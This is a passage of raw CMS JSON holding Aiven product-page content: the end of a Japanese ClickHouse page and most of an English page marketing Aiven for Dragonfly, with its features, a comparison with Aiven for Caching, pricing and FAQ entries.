、CLI、または"},{"_key":"6ce40f0b7d371","_type":"span","marks":["48f906975bbe"],"text":"Terraform"},{"_key":"6ce40f0b7d372","_type":"span","marks":[],"text":"ツールを使用してClickHouseクラスタを管理"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"48f906975bbe","_type":"link","href":"https://docs.aiven.io/docs/tools/terraform/get-started"}],"style":"normal"},{"_key":"a404fb7b4f90","_type":"block","children":[{"_key":"3316b73dcf080","_type":"span","marks":[],"text":"数クリックだけで、スケールアップ、データベースのフォーク、他サービスとの統合を実行"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bd0fc16476ce","_type":"block","children":[{"_key":"8b4a8f9f9a820","_type":"span","marks":[],"text":"オープンソースソフトウェアとの互換性を保証"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0e96246cb3e1","_type":"block","children":[{"_key":"f98f32bfffeb0","_type":"span","marks":[],"text":"クラウドやリージョン間での移行が容易"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOpsに適した管理と開発","variant":"mediaLeft","ytId":"3lGfdjZkJkY"},{"_key":"5220483273a8df7aa029dab84befd95e","_type":"textVideo","addSpaceBottom":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"rounded":false,"tagline":"サービス","text":[{"_key":"91c02fda09ff","_type":"block","children":[{"_key":"4720aef4453f0","_type":"span","marks":[],"text":"自己修復プラットフォーム"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9377f1ed6d10","_type":"block","children":[{"_key":"be4eb574fc8c0","_type":"span","marks":[],"text":"スケーリング、アップグレードなどの管理運用時のダウンタイムゼロ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"26cce13787d7","_type":"block","children":[{"_key":"4d6fb60476440","_type":"span","marks":[],"text":"プランに応じた日次単位の自動バックアップ"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"478f7e86c7cf","_type":"link","href":"https://aiven.io/security-compliance"}],"style":"normal"},{"_key":"c836b7c1cb7a","_type":"block","children":[{"_key":"b00540fe111f0","_type":"span","marks":["816ed5598033"],"text":"安全でコンプライアンス準拠のソリューション"},{"_key":"b18325f0c0d6","_type":"span","marks":[],"text":" - ISO 27001:2013、SOC2、GDPR、HIPAA、PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"816ed5598033","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5__i18n_ja","_type":"reference"}}],"style":"normal"}],"title":"信頼性、安全性、ロックインなし","variant":"mediaRight","ytId":"HZFNlKerddE"},{"_key":"cf168a4da3de","_type":"cardList","align":"center","disabled":false,"fullWidth":true,"id":"resources","items":[{"_key":"1a7782cc4c2b","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/clickhouse","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-6e59ce95700f17f77378a0019ccae5bfb3aead41-991x527-jpg","_type":"reference"}},"subtitle":[{"_key":"8008633ec4ef","_type":"block","children":[{"_key":"75a23626bb920","_type":"span","marks":[],"text":"Aiven for ClickHouse入門、コアコンセプト、ハウツーなどをご紹介します。"}],"markDefs":[],"style":"normal"}],"tagline":"Aivenドキュメント","title":"ドキュメント","variant":"default"},{"_key":"df904e30848e","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"3GyNnm0QehTAFfDtVvylqP","_type":"reference"},"title":"詳しく見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-314569e1e5f6e7b75c6d91d9e71675e690e6d0e6-1567x844-png","_type":"reference"}},"subtitle":[{"_key":"e5cbf613d68b","_type":"block","children":[{"_key":"349a50ba51cb0","_type":"span","marks":[],"text":"ビッグデータは、複雑なビジネス上の意思決定に役立ちます。ClickHouseがどのようにビッグデータプロセスの真相を突き止めるために設計されているかをご説明します。"}],"markDefs":[],"style":"normal"}],"tagline":"ブログ","title":"ClickHouse®とは","variant":"default"},{"_key":"f3b21e8b60fb","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"62vXvKS09GfFbkC0gY6xvu","_type":"reference"},"title":"詳しく見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-4bd6ef2a225938a5337b6b6d64fd94d01e6787ca-1567x844-png","_type":"reference"}},"subtitle":[{"_key":"7ca1c830849f","_type":"block","children":[{"_key":"12c97a51e1c40","_type":"span","marks":[],"text":"Aiven for ClickHouse®は、非常に高速なオンライン分析処理向けに設計されたフルマネージドクラウドデータウェアハウスです。詳しくは..."}],"markDefs":[],"style":"normal"}],"tagline":"ブログ","title":"ClickHouse®のユースケース","variant":"default"}],"rounded":false,"tagline":"リソース","title":"Aiven for ClickHouse®の使用方法についての説明"},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"469ef901e3d7","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3__i18n_ja","_type":"reference"},{"_key":"cfe83ae9e9a6","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec__i18n_ja","_type":"reference"},{"_key":"de573cc174df","_ref":"0b77eaf5-e527-4e87-b5cf-f8162e087aee__i18n_ja","_type":"reference"}],"rounded":false,"title":"よくある質問"}],"seo":{"_type":"metaData","metaDescription":"Aiven for ClickHouse® - フルマネージド、メンテナンスフリーのデータウェアハウス ✓ オールインワンのオープンソースクラウドデータプラットフォーム ✓ 無料トライアル","metaImage":{"_type":"mainImage","asset":{"_ref":"image-7cb654e3bf4266fe0c49bb751b8f9e482d576554-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for ClickHouse®\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"マネージドClickHouse、ClickHouse as a Service、クラウドClickHouse\",\n \"description\": \"ClickHouse as a service - Google Cloud PlatformとAmazon Web Servicesでホスティングされた世界規模の高性能カラムナーOLAPデータベースです。\",\n \"softwareHelp\": {\n \"url\": \"https://docs.aiven.io/clickhouse\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"Open Source database\",\n \"applicationSubCategory\": \"Columnar Database Management System\"\n}","metaTitle":"Managed ClickHouseデータベースサービス|Aiven"},"service":{"_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"reference"},"slug":{"_type":"slug","current":"/clickhouse"},"title":"Clickhouse"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"068b5598-f4e4-416e-9357-f797ca9348f8__i18n_ja","_type":"reference"}],"_createdAt":"2024-02-12T14:27:19Z","_id":"068b5598-f4e4-416e-9357-f797ca9348f8","_rev":"whpRLkwvxva49hcLZ6gTpB","_type":"product","_updatedAt":"2025-01-15T15:46:15Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for Dragonfly","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform "}},"darkTheme":true,"description":[{"_key":"d8849192631c","_type":"block","children":[{"_key":"508fdb4189c40","_type":"span","marks":[],"text":"Aiven for Dragonfly is a scalable in-memory data store for high-performance Redis and Memcached workloads."}],"markDefs":[],"style":"normal"}],"disabled":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"10e4ca9488e7","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-1e387105c2f5fec0149cf51456c935618261e184-3333x2369-png","_type":"reference"}},"imageSize":"default","isImageLarge":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/dragonfly","title":"See docs"},"tagline":"Managed and hosted","title":"Aiven for Dragonfly","variant":"default"},{"_key":"e10eb958be84","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"b2652c18fc56","_ref":"9da4838e-53cf-49d0-b2b9-19246a10e92d","_type":"podcast"}],"itemsPerRow":1,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":true},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"How it works"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"Benefits"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"Customer use cases"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"Features"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"Pricing"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"FAQ"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-49b048e58588a4a7acbe41dcf92c84379800936f-56x56-svg","_type":"reference"}},"logoLink":{"_type":"link","externalUrl":"https://aiven.io/dragonfly","title":"Aiven for Dragonfly"},"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"title":"Aiven for Dragonfly"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","resources":{"_type":"textItem","content":[{"_key":"7a96d10ef83f","_type":"block","children":[{"_key":"dfba7ce02202","_type":"span","marks":["strong"],"text":"Resources"}],"markDefs":[],"style":"normal"},{"_key":"bfe958403829","_type":"block","children":[{"_key":"ebe437864dcc","_type":"span","marks":["a29742c95edc"],"text":"Aiven for Dragonfly (docs)"}],"markDefs":[{"_key":"a29742c95edc","_type":"link","href":"https://aiven.io/docs/products/dragonfly"}],"style":"normal"},{"_key":"fa01ab5d8107","_type":"block","children":[{"_key":"076474404088","_type":"span","marks":["1d7b70de8324"],"text":"What is Dragonfly (blog)"}],"markDefs":[{"_key":"1d7b70de8324","_type":"internalLink","internalLink":{"_ref":"2b6668a5-9493-497a-bf05-bc3dac0c8851","_type":"reference"}}],"style":"normal"}]},"rounded":false,"steps":[{"_key":"37c060512de0","_type":"textItem","content":[{"_key":"efe630854812","_type":"block","children":[{"_key":"9d7d755ef8f80","_type":"span","marks":[],"text":"Aiven for Dragonfly is a low latency, in-memory database built for high-performance, large-scale Redis workloads. It is ideal for caching and real-time applications like social media and online gaming."}],"markDefs":[],"style":"normal"},{"_key":"1c78dd2b7486","_type":"block","children":[{"_key":"2962e1321dab","_type":"span","marks":[],"text":"Aiven for Dragonfly supports persistence and replication for high availability. It also supports advanced Redis capabilities, such as JSON documents and vector search."}],"markDefs":[],"style":"normal"},{"_key":"8ee1652217d8","_type":"block","children":[{"_key":"70d0ccfc517e0","_type":"span","marks":[],"text":"Aiven for Dragonfly is a managed service that runs on all major clouds. It has a 99.99% uptime SLA and handles maintenance tasks like backups and security patches automatically. You can easily upgrade, fork databases, or switch clouds with near-zero downtime."}],"markDefs":[],"style":"normal"}]}],"subtitle":[{"_key":"af01bebd4394","_type":"block","children":[{"_key":"a8c5365f754e","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"tagline":"How it works","title":"What is Aiven for Dragonfly","tools":[{"_key":"c68d323ca8e5","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"}],"toolsTitle":"Manage with the tools you want:","variant":"redis"},{"_key":"18624ef60068","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","subtitle":[{"_key":"59b362ea9427","_type":"block","children":[{"_key":"b20a2b87a0ab0","_type":"span","marks":["strong"],"text":"Aiven for Dragonfly"},{"_key":"b20a2b87a0ab1","_type":"span","marks":[],"text":" and "},{"_key":"b20a2b87a0ab2","_type":"span","marks":["strong","4c98fd58d37b"],"text":"Aiven for Caching"},{"_key":"b20a2b87a0ab3","_type":"span","marks":[],"text":" are both powerful solutions, designed to meet the demands of your Redis applications. If you require the ultimate in performance and scalability, then Aiven for Dragonfly is the perfect choice. For lighter workloads that prioritize cost-effectiveness and simplicity, Aiven for Caching offers a robust and affordable alternative based on open-source Redis. "}],"markDefs":[{"_key":"4c98fd58d37b","_type":"internalLink","internalLink":{"_ref":"d1d507e1-9f11-4bc7-818f-bd9702a10553","_type":"reference"}}],"style":"normal"},{"_key":"8dbb1d1ae72f","_type":"table","rows":[{"_key":"f3122ae6-b7e6-40d9-917b-f04d8bff3e89","_type":"tableRow","cells":["","Aiven for Dragonfly","Aiven for Caching"]},{"_key":"d69a384a-24cf-4158-97a8-ae839661221b","_type":"tableRow","cells":["Memory size (storage)","Supports up to 1TB+ of data per instance","Scales to 100GB and more, depending on the required performance"]},{"_key":"b460c28e-6338-4737-b5cd-665a7ebd8445","_type":"tableRow","cells":["Throughput","Built for workloads exceeding 70,000 QPS","Suitable for workloads of 70,000 QPS or less"]},{"_key":"7de8fad8-f474-4de9-8b9b-d952d9441903","_type":"tableRow","cells":["Features","Includes all open-source Redis features, plus JSON support and vector search","Provides a complete open-source Redis experience"]},{"_key":"1c93a2e3-38ad-41e0-89bf-ff59c4a77667","_type":"tableRow","cells":["Other","Memcached compatibility",""]}]}],"tagline":"Choose the ideal solution for your needs","title":"Aiven for Dragonfly or Aiven for Caching","variant":"centerColumn"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"786eface9f7f","_type":"block","children":[{"_key":"1a80fdc3989b0","_type":"span","marks":[],"text":"Aiven for Dragonfly was built to fully utilize modern hardware. It is designed to handle enterprise-scale workloads, supporting up to 1TB+ of data per instance and processing over 500,000 requests per second. This makes it ideal for real-time applications."}],"markDefs":[],"style":"normal"}],"title":"Enterprise scale workloads"},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"5cc2fc2186cf","_type":"block","children":[{"_key":"272e74e0ccb5","_type":"span","marks":[],"text":"Aiven for Dragonfly utilizes modern hardware and compute resources, translating to significant savings on infrastructure costs. This makes Aiven for Dragonfly an ideal choice for organizations seeking high throughput and cost savings without compromising performance."}],"markDefs":[],"style":"normal"}],"title":"Cost effective high throughput"},{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-8bf6307344286cf3f810660569ecb590fee7fca8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"2a40dd95e129","_type":"block","children":[{"_key":"2898686dafb50","_type":"span","marks":[],"text":"Aiven for Dragonfly is a drop-in replacement for open source Redis and Memcached, ensuring seamless migration for your applications. With its Redis/ Memcached API compatibility and intuitive migration tools, Aiven for Dragonfly makes it easy to integrate with your existing infrastructure and applications."}],"markDefs":[],"style":"normal"}],"title":"Easy migration"},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0341b1c3696da7468cfbba301dd17929b0cdc72f-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"112169c3e497","_type":"block","children":[{"_key":"ec1360be34430","_type":"span","marks":[],"text":"Rolling software upgrades, automated backups and failover across multiple availability zones. Aiven for Dragonfly comes with 99.99% SLA, enterprise-grade monitoring and 24x7 proactive support."}],"markDefs":[],"style":"normal"}],"title":"Reliable operations, near-zero downtime"}],"id":"benefits","noSpaceBottom":false,"rounded":false,"subtitle":[{"_key":"02213afc4514","_type":"block","children":[{"_key":"9f4840207c990","_type":"span","marks":[],"text":"With Aiven’s fully managed service, you get all the features of Dragonfly without any of the infrastructure stress."}],"markDefs":[],"style":"normal"},{"_key":"b3e82b91afd6","_type":"block","children":[{"_key":"cfe3bed5d3b10","_type":"span","marks":[],"text":"Because Aiven makes setting up services easy, you can snap Aiven for Dragonfly into your data pipelines in a matter of minutes, and get on with developing. All the installation, management, and updating is taken care of, and we provide an extensive set of tools and integrations out-of-the-box."}],"markDefs":[],"style":"normal"},{"_key":"ee3c29cd8f59","_type":"block","children":[{"_key":"549258f608aa0","_type":"span","marks":[],"text":"With Aiven for Dragonfly, you get a highly available, performant and scalable database on a highly available, performant and scalable platform."}],"markDefs":[],"style":"normal"}],"tagline":"Benefits","title":"Benefits of Aiven for Dragonfly"},{"_key":"a7d30ecaf654","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"7c4a4378789f","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"fa5a84a13dd9","_type":"block","children":[{"_key":"5b1c761f0e210","_type":"span","marks":[],"text":"Caching with Dragonfly means scalable caching. As Aiven for Dragonfly can process hundreds of thousands of operations per second with sub-millisecond latency, it’s ideal for caching use."}],"markDefs":[],"style":"normal"}],"title":"Caching for performance","variant":"icon-card"},{"_key":"40bbb53cd0c3","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"471011349400","_type":"block","children":[{"_key":"b6ed4df6bcee0","_type":"span","marks":[],"text":"Modern AI applications require vector similarity searches, and Dragonfly Search provides this exact need. Now your AI applications can benefit from the performance of the high throughput, low latency in-memory database."}],"markDefs":[],"style":"normal"}],"title":"Similarity search for AI","variant":"icon-card"},{"_key":"0cd60ba580e7","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"1c166eb2ed79","_type":"block","children":[{"_key":"dc7e3d83c0c80","_type":"span","marks":[],"text":"Dragonfly supports Pub/Sub with pattern matching and many different varieties of data structure, such as lists, sorted sets and hashes. This enables support for high-performance chat rooms, real-time comment streams and social media feeds."}],"markDefs":[],"style":"normal"}],"title":"Chat and messaging applications","variant":"icon-card"}],"rounded":false,"tagline":"Customer use cases","title":"How Aiven customers use Dragonfly"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","tagline":"Features","title":"Key features of Aiven for Dragonfly","variant":"centerColumn"},{"_key":"b2eda0fc84959d13ac1d2c4823d69f7d","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-e53a984b8a968134aab92aa3ae3b427886cd4394-3270x1766-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":true,"rounded":false,"tagline":"Setup","text":[{"_key":"3aa270ab18d7","_type":"block","children":[{"_key":"0504ba269ee80","_type":"span","marks":[],"text":"High performance, high throughput Redis and Memcached compatible clusters up and running in 10 minutes"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"de28faf01724","_type":"block","children":[{"_key":"d5d0e8fee0b30","_type":"span","marks":[],"text":"Large storage capacity, up to 1TB plans"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ab3f7fe927de","_type":"block","children":[{"_key":"651600ebdacd0","_type":"span","marks":[],"text":"Deploy to the cloud of your choice with 3 public clouds and 70+ regions supported"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d9812a479f18","_type":"block","children":[{"_key":"34d0ec9048900","_type":"span","marks":["5c87d4279d3a"],"text":"Bring-your-own-cloud (BYOC) "},{"_key":"34d0ec9048901","_type":"span","marks":[],"text":"deployment model supported for strict control requirements"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5c87d4279d3a","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"Flexible, fast and stress-free","variant":"mediaLeft"},{"_key":"94ae0fa9843a3d64142167018853142e","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-3ba37cad097a55af48c21206aee0dc884f5847a9-1553x792-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"tagline":"Connect","text":[{"_key":"ef4be0dacedb","_type":"block","children":[{"_key":"f91c94cc16d00","_type":"span","marks":[],"text":"Migrate your existing Redis workloads easily with built-in migration tools"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c0a1be963e77","_type":"block","children":[{"_key":"b358b9a386dd","_type":"span","marks":["a967b9f0c32f"],"text":"Integrate"},{"_key":"6f7daab507b7","_type":"span","marks":[],"text":" with your favorite observability tooling — from Datadog to Prometheus — or use "},{"_key":"ce79d55849df","_type":"span","marks":["5f517ca6bec6"],"text":"Aiven observability tools"},{"_key":"4c6d503c6723","_type":"span","marks":[],"text":" for enhanced monitoring and logging"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a967b9f0c32f","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}},{"_key":"5f517ca6bec6","_type":"internalLink","internalLink":{"_ref":"4ffa575d-3214-4ed9-982c-6ee1b82bb5dd","_type":"reference"}}],"style":"normal"},{"_key":"d45a3dc62628","_type":"block","children":[{"_key":"a19fd76048db","_type":"span","marks":[],"text":"Secure network connectivity using "},{"_key":"556e5db9b1da","_type":"span","marks":["85139808a6ef"],"text":"VPC peering"},{"_key":"2ead455af98a","_type":"span","marks":[],"text":", "},{"_key":"79f91cd1cc13","_type":"span","marks":["3e2bdec0341c"],"text":"PrivateLink"},{"_key":"6798f544664d","_type":"span","marks":[],"text":" or "},{"_key":"18f9fa636f26","_type":"span","marks":["ecf78a7796d0"],"text":"TransitGateway"},{"_key":"f12572922f96","_type":"span","marks":[],"text":" technologies"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"85139808a6ef","_type":"link","href":"https://aiven.io/docs/platform/howto/manage-vpc-peering"},{"_key":"3e2bdec0341c","_type":"link","href":"https://aiven.io/docs/tools/cli/service/privatelink"},{"_key":"ecf78a7796d0","_type":"link","href":"https://aiven.io/docs/platform/howto/attach-vpc-aws-tgw"}],"style":"normal"}],"title":"Integrate with your data infrastructure","variant":"mediaRight"},{"_key":"19c8f135482c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-aacdb8a938109a0ba413dcf22782a2ea2e83fb70-1475x890-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"tagline":"Control","text":[{"_key":"451b643ee594","_type":"block","children":[{"_key":"6750ab7710a30","_type":"span","marks":[],"text":"Manage your Dragonfly clusters using Aiven Console (GUI), CLI or "},{"_key":"6750ab7710a31","_type":"span","marks":["18690176761e"],"text":"Terraform"},{"_key":"6750ab7710a32","_type":"span","marks":[],"text":" tools"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"18690176761e","_type":"link","href":"https://docs.aiven.io/docs/tools/terraform/get-started"}],"style":"normal"},{"_key":"b113fcd57cc4","_type":"block","children":[{"_key":"26e5ce3c8a3a0","_type":"span","marks":[],"text":"Scale, fork and upgrade with just a few clicks"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4750ba6d1f79","_type":"block","children":[{"_key":"b0b6e21aaf010","_type":"span","marks":[],"text":"Guaranteed compatibility with open source software"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5836e3c90b21","_type":"block","children":[{"_key":"43bb074d8fc60","_type":"span","marks":[],"text":"Migrate easily between clouds and regions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOps-friendly management and development","variant":"mediaLeft"},{"_key":"7bff0ebf3f03cb580d82a70f2160a6ea","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-35f5c5fa11e0f3bb2244c217f2763be92d319c52-1784x1207-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Enjoy","text":[{"_key":"b4536951b24a","_type":"block","children":[{"_key":"1b8ffdf481930","_type":"span","marks":[],"text":"Self-healing platform"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"be0e0c4916a5","_type":"block","children":[{"_key":"72420e4dea5d0","_type":"span","marks":[],"text":"Zero downtime during scaling, upgrading, and other management operations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8abaff0091e7","_type":"block","children":[{"_key":"411bc2e965150","_type":"span","marks":[],"text":"Automatic backups every 12 hours, depending on your plan"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"14afad19675e","_type":"block","children":[{"_key":"8f5be5a8acd40","_type":"span","marks":["ad498af7cb95"],"text":"Secure and compliant solution"},{"_key":"38c65f227bf1","_type":"span","marks":[],"text":" — ISO 27001:2013, SOC2, GDPR, HIPAA, and PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ad498af7cb95","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"}],"title":"Reliable and secure","variant":"mediaRight"},{"_key":"f87f714443e0","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-cf42456a998b3003859e724ee166dc968d52fc4a-1440x367-svg","_type":"reference"}},"darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"title":"Spin up your first cluster now","variant":"centerColumn"},{"_key":"1705d247f2aec3897e833f4f8da85ffa","_type":"pricing","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","defaultCloud":"Google Cloud","disabled":false,"fullWidth":false,"id":"pricing","noSpaceBottom":false,"noSpaceTop":false,"service":{"_ref":"15ecb747-c8c1-42ad-baab-e7551844a508","_type":"reference"},"subtitle":[{"_key":"279c98a469fb","_type":"block","children":[{"_key":"ec0561ecb60f","_type":"span","marks":[],"text":"Starting at just $65 a month, Aiven for Dragonfly prices vary based on the number of nodes and your storage and throughput needs. Hourly billing saves you money. Change your plan anytime at no extra cost."}],"markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Scale up or down. Pay only for what you use.","variant":"single-service"},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"39e5c9771dac","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3","_type":"reference"},{"_key":"68ca8879d46d","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec","_type":"reference"},{"_key":"95fea534c942","_type":"accordionItem","id":"choose-dragonfly-or-caching","panelText":[{"_key":"e6fcfa5a8336","_type":"block","children":[{"_key":"e7ca6c73578e0","_type":"span","marks":[],"text":"If you require the ultimate in performance and scalability ideal for 100GB and more storage size and handles high-throughput workloads of 70.000 QPS or more, then Aiven for Dragonfly is the perfect choice. "}],"markDefs":[],"style":"normal"},{"_key":"9bb1f82e6d38","_type":"block","children":[{"_key":"60909a824cd3","_type":"span","marks":[],"text":"For lighter workloads that prioritize cost-effectiveness and simplicity, 